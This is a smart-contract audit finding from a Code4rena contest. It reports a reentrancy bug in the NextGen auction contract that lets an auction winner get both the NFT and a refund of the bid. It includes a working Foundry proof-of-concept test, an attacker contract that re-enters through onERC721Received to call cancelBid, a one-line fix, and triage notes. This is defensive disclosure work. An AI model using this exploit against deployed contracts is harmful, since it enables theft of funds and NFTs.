Reentrancy allows the winner to claim an NFT and return his bid.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L125
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

Due to the poorly implemented timestamp check of cancelBid(...) and claimAuction(...), a winner of the auction is able to reenter and obtain an NFT for free. Furthermore, this vulnerability can result in not obtaining funds for the owner of the auction if a sufficient amount of ether is not persistent in the contract.

Attack scenario

The vulnerability occurs because of misconfiguration in the timestamp check for cancelBid(...) and claimAuction(...). If the block.timestamp is equal to minter.getAuctionEndTime(_tokenid). The attacker can trigger the following scenario.

1. Before the end of the auction, an attacker contract participate with the highest bid.
2. Attack calls claimAuction when the block.timestamp is equal to getAuctionEndTime(...)
3. Due to safeTransferFrom the callback onERC721Received is triggered in attacker contract.
4. That allows to reenter the contract and call cancelBid(...)

As a result, the attacker receives the NFT and his bid.

Proof of Concept

The following foundry test exploits this vulnerability:

function testCreateACollectionAndAuctionReentrancy() public {
        string[] memory array = new string[](1);
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        array[0] = "0x0";
        gencoreContract.createCollection("0x0","0x0", "0x0", "0x0","0x0", "0x0", "0x0", array);
        gencoreContract.setCollectionData(1, alice, 10, 20, 100);
        gencoreContract.addRandomizer(1,address(random));
        minterContract.setCollectionCosts(1, 10, 10, 10,10 , 3, address(0x0));
        minterContract.setCollectionPhases(1, 100, 120, 100, 120, 0x0);
        skip(110);
        minterContract.mintAndAuction(alice, "0x0", 1,1,120);
        uint tokenId = 10000000000;
        minterContract.getAuctionEndTime(tokenId);
        vm.prank(alice);
        gencoreContract.approve(address(auctionDemoContract), tokenId);
        address charlie = makeAddr("charlie");
        address delta = makeAddr("delta");
        vm.prank(bob);
        Attack attack = new Attack(address(auctionDemoContract));
        deal(charlie, 0.5 ether);
        deal(delta, 0.51 ether);
        deal(address(attack), 1.1 ether);
        vm.prank(charlie);
        auctionDemoContract.participateToAuction{value: 0.5 ether}(tokenId);
        vm.prank(delta);
        auctionDemoContract.participateToAuction{value: 0.51 ether}(tokenId);
        vm.prank(address(attack));
        auctionDemoContract.participateToAuction{value: 1 ether}(tokenId);
        skip(120 - block.timestamp);
        require(block.timestamp ==  minterContract.getAuctionEndTime(tokenId));
        uint balanceBefore = address(attack).balance;
        vm.prank(address(attack));
        auctionDemoContract.claimAuction(tokenId);
        uint balanceAfter = address(attack).balance;
        require(balanceAfter > balanceBefore);
        require(balanceAfter == 1.1 ether);
        console.log("balanceAfter", balanceAfter);
        require(gencoreContract.ownerOf(tokenId) == address(attack));

    }

The attacker's contract:

contract Attack{
    address owner;
    auctionDemo public auctionDemoContract;
    constructor(address auction) public {
        owner = msg.sender;
        auctionDemoContract = auctionDemo(auction);
        
    }
    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        auctionDemoContract.cancelBid(10000000000, 2);
        return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
    }
   receive() external payable {
        
    }
}

Tools Used

Recommended Mitigation Steps

Change the following check:

 function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ //@audit-issue free NFT when we call in getAuctionEndTime because of reentrancy
 -       require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
 +       require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
       ...
    }

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #1904

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as satisfactory